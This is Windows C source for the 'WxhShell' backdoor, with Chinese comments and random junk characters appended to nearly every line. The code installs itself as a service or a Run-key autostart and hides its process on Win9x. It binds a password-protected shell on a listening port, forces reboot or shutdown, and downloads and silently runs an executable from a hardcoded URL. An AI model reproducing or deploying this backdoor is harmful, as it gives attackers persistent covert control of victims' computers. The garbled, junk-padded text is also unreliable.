    break; 2sj[hI  
    } I%]~]a  
  // 关机 jN\} l|;q  
  case 'd': { 'u6T^YS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mXd,{b'  
    if(Boot(SHUTDOWN)) PuvC MD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y40`~  
    else { &@tD/Jw3  
    closesocket(wsh); :a M ZJm  
    ExitThread(0); *f%uc  
    } x;&01@m.  
    break; UEZnd8  
    } p5|.E  
  // 获取shell +FD"8 ^YC  
  case 's': { :Ve>tZeW  
    CmdShell(wsh); :.863_/  
    closesocket(wsh);  L|hdV\  
    ExitThread(0); H ?Vo#/  
    break; F-L!o8o  
  } I}djDtJ  
  // 退出 SV2DvrIR  
  case 'x': { ,(H`E?m1w4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J*Dt\[X  
    CloseIt(wsh); P.L$qe>O  
    break; qPEtMvL #  
    } E+LAE/v@  
  // 离开 \qx$h!<  
  case 'q': { kvWP[! j?)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k3F* D  
    closesocket(wsh); ~*OQRl6F  
    WSACleanup(); \J*~AT~5q  
    exit(1); (twwDI  
    break; p"A2N +  
        } KxyD{W1  
  } oy8L{8?  
  } C|#GODA  
42*y27Dtm  
  // 提示信息 :ud<"I]:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f{ ;L"*L  
} ,$"*X-1  
  } =Q\z*.5j.  
Rra3)i`*  
  return; %49P<vo`?  
} %w+"MkH _  
c/:d$o-  
// shell模块句柄 ;DQ{6(  
int CmdShell(SOCKET sock) W7bA#p(  
{ (v<l9}!  
STARTUPINFO si; 0GEM3~~D.?  
ZeroMemory(&si,sizeof(si)); q"Ct=d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nitKX.t8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EL*OeyU1l  
PROCESS_INFORMATION ProcessInfo; Z~&$s  
char cmdline[]="cmd"; m<7Ax>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s"hSn_m  
  return 0; W6~aL\[  
} ['<Q402:.  
5<Ly^Na:  
// 自身启动模式 W 9i}w&  
int StartFromService(void) %2H0JXKa,  
{ ?8ZOiY(  
typedef struct #b u]@/  
{ <OX_6d*@  
  DWORD ExitStatus; ( (.b&  
  DWORD PebBaseAddress; OvL@@SX |  
  DWORD AffinityMask; 9T`$gAI  
  DWORD BasePriority; 9%+Nzo(Fd  
  ULONG UniqueProcessId; vBP 5n  
  ULONG InheritedFromUniqueProcessId; Sn6cwf9.s  
}   PROCESS_BASIC_INFORMATION; DC9\Sp?  
<1t.f}}uX  
PROCNTQSIP NtQueryInformationProcess; T0:%,o  
I&2)@Zw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }XOTK^YA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C)x>/Qr~  
47S1mxur  
  HANDLE             hProcess; EC`!&Yp+  
  PROCESS_BASIC_INFORMATION pbi; ss{y=O%9"  
#$-zg^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *d~).z)  
  if(NULL == hInst ) return 0; ((& y:{?G  
caG5S#8-"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +c7e[hz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ly\  `  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8i epG  
@fI1|v=eF  
  if (!NtQueryInformationProcess) return 0; T ^ z  
B^7B-RBi0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I_?+;<n  
  if(!hProcess) return 0; )6~s;y!  
[h5~1N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fGZZ['E  
m`;dFL7"E  
  CloseHandle(hProcess); (]_smsok  
UF_?T.Rl^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dBWi1vTF  
if(hProcess==NULL) return 0; D)O2=aQ;]  
p`+=) n  
HMODULE hMod; [8kufMY|  
char procName[255]; I{/}pr>  
unsigned long cbNeeded; 3np |\i  
_Wb3,E a=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5L?_AUL  
`\p5!Iq Q  
  CloseHandle(hProcess); c @U\d<{w  
W"{:|'/v  
if(strstr(procName,"services")) return 1; // 以服务启动 i1c z+}  
Quq X4  
  return 0; // 注册表启动 i% FpPni  
} =pT}]  
`@_j Do  
// 主模块 %qycxEVP  
int StartWxhshell(LPSTR lpCmdLine) i?HN  
{ {wp~  
  SOCKET wsl; +hIC N,8!  
BOOL val=TRUE; eNHSfq  
  int port=0; !#NGGIp;  
  struct sockaddr_in door; S9 p*rk ~  
' ?4 \  
  if(wscfg.ws_autoins) Install(); dmB _`R  
KUV(vAY,  
port=atoi(lpCmdLine); pW7#&@AR  
TPBL|^3K  
if(port<=0) port=wscfg.ws_port; r_"=DLx6  
bMA\_?  
  WSADATA data; 3+<f7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s ahXPl%;U  
Ye=c;0V(w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |//D|-2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6_=t~9sY  
  door.sin_family = AF_INET; B4#XQ-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P&sn IJ  
  door.sin_port = htons(port); >h Rq  
t}Q PPp y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X/8TRiTFv  
closesocket(wsl); 2Wx~+@1y  
return 1;  Qi;62M  
} K,f"Q<sU%  
mNQ~9OJ1  
  if(listen(wsl,2) == INVALID_SOCKET) { nb30<h  
closesocket(wsl); 0en Bq>vr  
return 1; Pb] EpyAW  
} {qJ(55  
  Wxhshell(wsl); x:? EL)(  
  WSACleanup(); W2w A66MB  
IaHu$` v  
return 0; ` it<\r[=  
d#U~>wr  
} kSfNu{YS  
rw }wQP_'  
// 以NT服务方式启动 Zl\$9Q_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _'}Mg7,V  
{ q; ?Kmk  
DWORD   status = 0; />X"' G  
  DWORD   specificError = 0xfffffff; 2:jWO_V@  
6JB* brO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E4cPCQyeH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lzbAx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bSkr:|A7  
  serviceStatus.dwWin32ExitCode     = 0; !+)5?o  
  serviceStatus.dwServiceSpecificExitCode = 0; v.!e1ke8D*  
  serviceStatus.dwCheckPoint       = 0; Q/%]%d  
  serviceStatus.dwWaitHint       = 0; 0s72BcP  
WNK)IC~c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @c -| Sl  
  if (hServiceStatusHandle==0) return; 0F-%C>&g  
EEp~\^ -  
status = GetLastError(); ra|Ku!  
  if (status!=NO_ERROR) gWGh:.*T  
{ W @]t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K[^BRn  
    serviceStatus.dwCheckPoint       = 0; [r0`D^*=  
    serviceStatus.dwWaitHint       = 0; ukDaX  
    serviceStatus.dwWin32ExitCode     = status; 2{9%E6%#  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2]V&]s8Wi=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w s([bS2h  
    return; ?3yrX _Qm{  
  } vo"?a~kY7  
O!k C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kKs}E| T  
  serviceStatus.dwCheckPoint       = 0; c\.7Z=D  
  serviceStatus.dwWaitHint       = 0; lcR1FbJ2'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jmJeu@(  
} #/ HQ?3h]  
/=[hRn@)A  
// 处理NT服务事件,比如:启动、停止 {' UK> S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5_[we1$P  
{ S7h?tR*u  
switch(fdwControl) FT Ytf4t  
{ 1a tQ9  
case SERVICE_CONTROL_STOP: Zq"  
  serviceStatus.dwWin32ExitCode = 0; &Vy.)0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~F.kgX  
  serviceStatus.dwCheckPoint   = 0; DR(/|?k+  
  serviceStatus.dwWaitHint     = 0; Oq[YbQ'GE  
  { giH WC%/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zrL+:/t  
  } q^ eLbivVE  
  return; U.pGp]\Q)G  
case SERVICE_CONTROL_PAUSE: > zV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ly::?  
  break; V)Ze> Pp  
case SERVICE_CONTROL_CONTINUE: )W^$7 Em  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^D?{[LBc  
  break; x0||'0I0  
case SERVICE_CONTROL_INTERROGATE: -J;;6aA  
  break; =Bos>;dl  
}; .OZ\ s%h;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TlC GP)VSj  
} 5I&Dk4v  
*:Uq ;)*  
// 标准应用程序主函数 4G'-"u^g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z#GrwE,r   
{ =h\uC).t&  
yqKSaPRA  
// 获取操作系统版本 ziXI$B4-  
OsIsNt=GetOsVer(); 6 2LLfD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vtv1{/@+c  
@;7Ht Z`  
  // 从命令行安装 _BI[F m  
  if(strpbrk(lpCmdLine,"iI")) Install(); : U,-v  
UG=],\E2  
  // 下载执行文件 l9z{pZ\KM  
if(wscfg.ws_downexe) { X }Fqif4A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p?O6|q  
  WinExec(wscfg.ws_filenam,SW_HIDE); hg-M>|s7  
} 5Bp>*MR/".  
9dFo_a*?  
if(!OsIsNt) { 3|(3jIa  
// 如果时win9x,隐藏进程并且设置为注册表启动 8 Y))/]R  
HideProc(); |4!G@-2V:I  
StartWxhshell(lpCmdLine); Bejk^V~  
} /Q2HN(Y  
else .RpWE.C  
  if(StartFromService()) w"q^8"j!  
  // 以服务方式启动 :_:o%  
  StartServiceCtrlDispatcher(DispatchTable); " ""pe+Y  
else XB<Q A>dLh  
  // 普通方式启动 P=m l;xp  
  StartWxhshell(lpCmdLine); 9)$gD  
H`nd |  
return 0; h|.{dv  
} !X\aZ{}Q  
kd OIL2T  
N>IkK*v  
BeFXC5-qat  
=========================================== wPvYnhr|G-  
`S|T&|ad0  
xTy)qN]P  
`8kL=%(h  
W?gelu]  
lz4M)pL^  
" #ds@!u+&  
7 b 8pWM  
#include <stdio.h> >M7(<V  
#include <string.h> SN;_.46k  
#include <windows.h> %=)%$n3=-M  
#include <winsock2.h> kudXwj  
#include <winsvc.h> hR,5U=+M7  
#include <urlmon.h> i2Sh^\Xw  
m0N{%Mf-  
#pragma comment (lib, "Ws2_32.lib") w0 1u~"E  
#pragma comment (lib, "urlmon.lib") (^$SM uC  
@@& ? ,3  
#define MAX_USER   100 // 最大客户端连接数 {-51rAyi  
#define BUF_SOCK   200 // sock buffer >2mV {i&  
#define KEY_BUFF   255 // 输入 buffer fJ;1ii~  
pg3h>)$/  
#define REBOOT     0   // 重启 ^TT_B AI  
#define SHUTDOWN   1   // 关机 >g,i"Kg  
slYC\"$  
#define DEF_PORT   5000 // 监听端口 UB]]oC<  
vvP]tRZ  
#define REG_LEN     16   // 注册表键长度 Bkdt[qDn5P  
#define SVC_LEN     80   // NT服务名长度 -H$C3V3]  
3aFD*S  
// 从dll定义API #@<L$"L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pDt45   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  g:?p/L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _+d*ljP)l3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xzBUm  
Qb@i_SX(fs  
// wxhshell配置信息 ^4=%~Yx  
struct WSCFG { c3J12+~;  
  int ws_port;         // 监听端口 <%m$ V5h  
  char ws_passstr[REG_LEN]; // 口令 S5e"}.]|  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~T9wx   
  char ws_regname[REG_LEN]; // 注册表键名 4S*dNYc  
  char ws_svcname[REG_LEN]; // 服务名 h"dn:5G:=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j# n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Wux[h8G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uE'Kk8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RP%FMb}nt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LUEZqIf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [{6fyd;  
vOU9[n N[  
}; :_pn|  
MLN+ BuS  
// default Wxhshell configuration |b+CXEzo  
struct WSCFG wscfg={DEF_PORT, QW2SFpE  
    "xuhuanlingzhe", %VS+?4ww  
    1, M9KoQS  
    "Wxhshell", HJ;!'@  
    "Wxhshell", FvDi4[F#  
            "WxhShell Service", Amv:dh  
    "Wrsky Windows CmdShell Service", =gHUY&sPu8  
    "Please Input Your Password: ", SzyaVBD3  
  1, ?D=C8EX  
  "http://www.wrsky.com/wxhshell.exe", ]l6niYVB2  
  "Wxhshell.exe" s/Q8(sF5  
    }; n W:Bo#  
d8&T62Dnd4  
// 消息定义模块 j5G=ZI86y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZC3;QKw>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !_>o2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MGH2z:  
char *msg_ws_ext="\n\rExit."; ilwIqj  
char *msg_ws_end="\n\rQuit."; {11xjvAD  
char *msg_ws_boot="\n\rReboot..."; mj&$+zM>  
char *msg_ws_poff="\n\rShutdown..."; =a(]@8$!1  
char *msg_ws_down="\n\rSave to "; nc;iJ/\4  
T} K@ykT  
char *msg_ws_err="\n\rErr!"; z|O3pQn~  
char *msg_ws_ok="\n\rOK!"; 3y yVI#  
[m(n-Mu F  
char ExeFile[MAX_PATH]; (PSL[P  
int nUser = 0; w 9C?wT  
HANDLE handles[MAX_USER]; Wx|De7*  
int OsIsNt; uVa`2]NV r  
YFeL#)5y  
SERVICE_STATUS       serviceStatus; ))E| SAr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U|+ c&TY  
64t:  
// 函数声明 !&R|P|7qN}  
int Install(void); "]U_o<V  
int Uninstall(void); 8j}o\!H  
int DownloadFile(char *sURL, SOCKET wsh); 4c@_u8  
int Boot(int flag); 1:Wl/9mL  
void HideProc(void); YD] :3!MI  
int GetOsVer(void); +$#ytvDy  
int Wxhshell(SOCKET wsl); "-g5$v$de  
void TalkWithClient(void *cs); ?7TuE!!M  
int CmdShell(SOCKET sock); 6`Diz_(  
int StartFromService(void); QUWx\hqE  
int StartWxhshell(LPSTR lpCmdLine); {gI%-  
$j/#IzD1D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]:~z#k|2@6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); drS>~lSxB  
'k/:3?R  
// 数据结构和表定义 *&~ '  
SERVICE_TABLE_ENTRY DispatchTable[] = |J:m{  
{ r)oR `\7  
{wscfg.ws_svcname, NTServiceMain},  BF /4  
{NULL, NULL} eJE!\ucS2W  
}; +7r?vo1  
;Hn>Ew  
// 自我安装 x| r#  
int Install(void) .qrS[ w  
{ G' mg-{  
  char svExeFile[MAX_PATH]; na_Wp^;  
  HKEY key; AU<A\  
  strcpy(svExeFile,ExeFile); yv\ j&B|  
\6;b.&%w2  
// 如果是win9x系统,修改注册表设为自启动 Yduj3Ht:w  
if(!OsIsNt) { 9 !V,++j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9(hI%idq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4{LKT^(!f  
  RegCloseKey(key); i&0Zli  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O&r9+r1`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,D\}DJ`)C  
  RegCloseKey(key); "=yz}~,  
  return 0; #2;8/"v  
    } &90pKs  
  } E=t^I/f)E  
} p/KG{-f,  
else { ]*<!|;q  
69N8COLB  
// 如果是NT以上系统,安装为系统服务 >Y;[+#H[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~z7Fz"o<  
if (schSCManager!=0) B !Z~jT  
{ Pa"[&{:  
  SC_HANDLE schService = CreateService -gpHg  
  ( M\r=i>(cu  
  schSCManager, i:7cdhz  
  wscfg.ws_svcname, `h<>_zpjY  
  wscfg.ws_svcdisp, 3]67U}`  
  SERVICE_ALL_ACCESS, w$ jq2?l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Nzl`mx16  
  SERVICE_AUTO_START, c"zE  
  SERVICE_ERROR_NORMAL, ww)ow\  
  svExeFile, nKe|xP  
  NULL, @-.Tgpe@a  
  NULL, 1HUe8m[#3  
  NULL, B*n_ VBd  
  NULL, L\\'n )  
  NULL  ja^  
  ); 6<No_x |_  
  if (schService!=0) 5E}!TL$  
  { 6yXN7L==x  
  CloseServiceHandle(schService); I?CfdI  
  CloseServiceHandle(schSCManager); !}=#h8fv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;upYam"  
  strcat(svExeFile,wscfg.ws_svcname); )zu m.6pT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \:E=B1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OhTd>~R`<  
  RegCloseKey(key); GP_%. fO\M  
  return 0; ;9hS_%ldX4  
    } *ch7z|wo.  
  } G@rV9  
  CloseServiceHandle(schSCManager); fT5vO.a  
} .cs4AWml<  
} SeBl*V  
4_ kg/  
return 1; o(g}eP,g }  
} =/(R_BFna  
wSG!.Ejc7  
// 自我卸载 J1Oe`my  
int Uninstall(void) 3<}r+,j  
{ ;2'/rEq4o  
  HKEY key; }ssL;q  
F,@uYMQs  
if(!OsIsNt) { pI}6AAs}Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OK%d1M^8j  
  RegDeleteValue(key,wscfg.ws_regname); vGD D  
  RegCloseKey(key); e]D TK*W~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #fq&yjl#A  
  RegDeleteValue(key,wscfg.ws_regname); 6d;RtCENo  
  RegCloseKey(key); '@WS7`@-y  
  return 0; Je=k.pO1  
  } <UbLds{+Uo  
} h3MZLPe  
} ij02J`w:Ra  
else { (~]0)J  
`9Q O'^)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~Q+J1S]Fs  
if (schSCManager!=0) @%I-15Jz  
{ j0A9;AP;;C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CMU\DO  
  if (schService!=0) j "e]Ui  
  { JF(&+\i<p  
  if(DeleteService(schService)!=0) { #=czqZw  
  CloseServiceHandle(schService); -"d&Ow7o  
  CloseServiceHandle(schSCManager); -x+K#T0Z  
  return 0; d ZxrIWx  
  } MR.c?P?0Q  
  CloseServiceHandle(schService); f# sDG  
  } Ummoph7_@  
  CloseServiceHandle(schSCManager); Y >U_l:_^  
} isor%R!  
} +}Qq#^:_\  
. r \g]  
return 1; C@rIyBj1g  
} ;bkvdn}  
0"koZd,c  
// 从指定url下载文件 InB'Ag"  
int DownloadFile(char *sURL, SOCKET wsh) $TFWum9wO  
{ imZ"4HnPP  
  HRESULT hr; 0w?G&jjNtM  
char seps[]= "/"; kNv/L $oG  
char *token; zUz j F  
char *file; %dq |)r  
char myURL[MAX_PATH]; *q0vp^?  
char myFILE[MAX_PATH];  |I s"ov  
+H "j-:E@t  
strcpy(myURL,sURL); Us4#O&  
  token=strtok(myURL,seps); \'>d.'d  
  while(token!=NULL) 7-4S'rq+  
  { *iXaQuT  
    file=token; DUvF  
  token=strtok(NULL,seps); SAokW,  
  } AO]1`b:  
KWH:tFL.  
GetCurrentDirectory(MAX_PATH,myFILE); 8P*wt'Q$  
strcat(myFILE, "\\"); TH? wXd\  
strcat(myFILE, file); C*Wyw]:r  
  send(wsh,myFILE,strlen(myFILE),0); AQgm]ex<  
send(wsh,"...",3,0);  t`'5|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mZ#h p}\.  
  if(hr==S_OK) b$=c(@]  
return 0; -02.n}u>  
else ApqNV  
return 1; )q>q]eHz  
.Tc?PmN  
} Q =4~u z|  
-5MQ/ujQ  
// 系统电源模块 epxbTJfc  
int Boot(int flag) a5uBQ?  
{ ]w~ECP(ap  
  HANDLE hToken; [}Y_O*C !  
  TOKEN_PRIVILEGES tkp; ^d!I{ y#  
#oxP,LR  
  if(OsIsNt) { "eR-(c1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !t|2&R$IQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (?#"S67  
    tkp.PrivilegeCount = 1; N.q0D5 :  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k1Sr7|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {i/7Nx  
if(flag==REBOOT) { tJ Mm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }W5~89"  
  return 0; I$JyAj  
} .pPtBqp  
else { a`8svo;VUO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (\CH;c-@  
  return 0; F tay8m@f  
} koy0A/\%  
  } cD]#6PFA  
  else { Z2&7HTz  
if(flag==REBOOT) { +"JQ5~7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8W}rS v+  
  return 0; Hzojv<c  
} IS%e5  
else { A\QrawBp0l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =$WDB=i  
  return 0; 7x)32f"  
} tW"s^r=95  
} |jyD@Q,4  
TZw['o  
return 1; lCJ/@)  
} A4f;ftB  
gv/yfiA?  
// win9x进程隐藏模块 RKwuvVI  
void HideProc(void) u~\ NL{  
{ DXx),?s>  
)KcY<K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); la 89>pF  
  if ( hKernel != NULL )  h3z9}'  
  { *M+CA_I(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :[bpMP<bz;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); drh,=M\F  
    FreeLibrary(hKernel); zN7Ou .  
  } xHWD1>  
Tu-I".d+  
return; Wo<kKkx2  
} :0(:}V3z\  
CC XOxd  
// 获取操作系统版本 ;-!O+c  
int GetOsVer(void) -ei+r#  
{ [<IJ{yfx  
  OSVERSIONINFO winfo; L?r\J8Ch<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p@%H. 5&&  
  GetVersionEx(&winfo);  Y$nI9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I0(nRu<  
  return 1; VpWpC&  
  else V;1i/{  
  return 0;  4B'-tV  
} =xRxr @  
y+P$}Nru  
// 客户端句柄模块 {#H'K*j{  
int Wxhshell(SOCKET wsl) 7` IO mTk  
{ i 2n66d  
  SOCKET wsh; `bcCj~j  
  struct sockaddr_in client; c$~J7e6$  
  DWORD myID; ~0Xx]  
zmh5x{US1  
  while(nUser<MAX_USER) },vVc/  
{ P*9L3R*=N  
  int nSize=sizeof(client); #4ii!ev  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F/0x` l  
  if(wsh==INVALID_SOCKET) return 1; #5mnSky+s  
A?Gk8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Mx=L lC)  
if(handles[nUser]==0) :1e'22[=.  
  closesocket(wsh); 6Y/TqI[   
else }7Y @u@R  
  nUser++; Df=zrs["  
  } A3zO&4f ]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hdurT  
Wj\< )cH]  
  return 0; >@L^^ -r  
} ,[)f-FmcU  
uqK[p^{  
// 关闭 socket 5vjtF4}7!  
void CloseIt(SOCKET wsh) xZp`Ke!  
{ # {|F2AM  
closesocket(wsh); CO.e.:h  
nUser--; F+::UWKA  
ExitThread(0); IC@-`S#F  
} Z*lZl8(`  
,v>| Ub,  
// 客户端请求句柄 mKhlYV n  
void TalkWithClient(void *cs) h!~u^Z.7<  
{ & *!) d"  
{ZD'l5jU  
  SOCKET wsh=(SOCKET)cs; iM{UB=C  
  char pwd[SVC_LEN]; ~OOD#/  
  char cmd[KEY_BUFF]; v#Y9O6g]T  
char chr[1]; k{B;J\`E;  
int i,j; ,P$Crs[  
lr&O@ 5"oy  
  while (nUser < MAX_USER) { 7;H P_oAu  
ulxy 4] h  
if(wscfg.ws_passstr) { *OMW" NZ;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &g\?znF]H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e?eX9yA7F  
  //ZeroMemory(pwd,KEY_BUFF); j#JE4(&  
      i=0; tCirdwmg  
  while(i<SVC_LEN) { bAm ,gP  
YlEV@  
  // 设置超时 `KzNBH,W  
  fd_set FdRead; C9}m-N  
  struct timeval TimeOut; rdQ'#}I x  
  FD_ZERO(&FdRead); ] ! :0^|  
  FD_SET(wsh,&FdRead); e6igx  
  TimeOut.tv_sec=8; <%Afa#  
  TimeOut.tv_usec=0; y|[YEY U)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y#aHGZ$i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YztW1GvI  
c;1Xu1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); </7_T<He.  
  pwd=chr[0]; ^ G@o} Z  
  if(chr[0]==0xd || chr[0]==0xa) { ZsepTtY  
  pwd=0; f1}b;JJTsv  
  break; #\r5Q>  
  } XoqmT/P  
  i++; Jb"0P`senY  
    } yZDS>7H  
pG9qD2C f  
  // 如果是非法用户,关闭 socket 30nR2mB Kt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wf=M| #}_  
} 3rQ;}<*M  
g7nqe~`{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3QO*1P@q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f+j-M|A  
(D rDWD4_  
while(1) { ~q05xy8  
/E0/)@pDq  
  ZeroMemory(cmd,KEY_BUFF); )#_:5^1  
qLh[BR  
      // 自动支持客户端 telnet标准   (L7@ez  
  j=0; T|FF&|Pk  
  while(j<KEY_BUFF) { E]IPag8C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CPS1b  
  cmd[j]=chr[0]; t+`>zux5(T  
  if(chr[0]==0xa || chr[0]==0xd) { @2Ca]2,4  
  cmd[j]=0; ]^ "BLbDZ@  
  break; NY!"?Zko  
  } ,.T k "\@  
  j++; [n{c,U F  
    } *^b<CZd9  
;fnE"}  
  // 下载文件 "=ogO/_Q"  
  if(strstr(cmd,"http://")) { li~#6$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vynchZ+g]  
  if(DownloadFile(cmd,wsh)) qz2j55j   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }m0hq+p^  
  else xh raf1v3\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `L1lGlt  
  } )/ 2J|LxS  
  else { Fi!XaO  
ss>p  
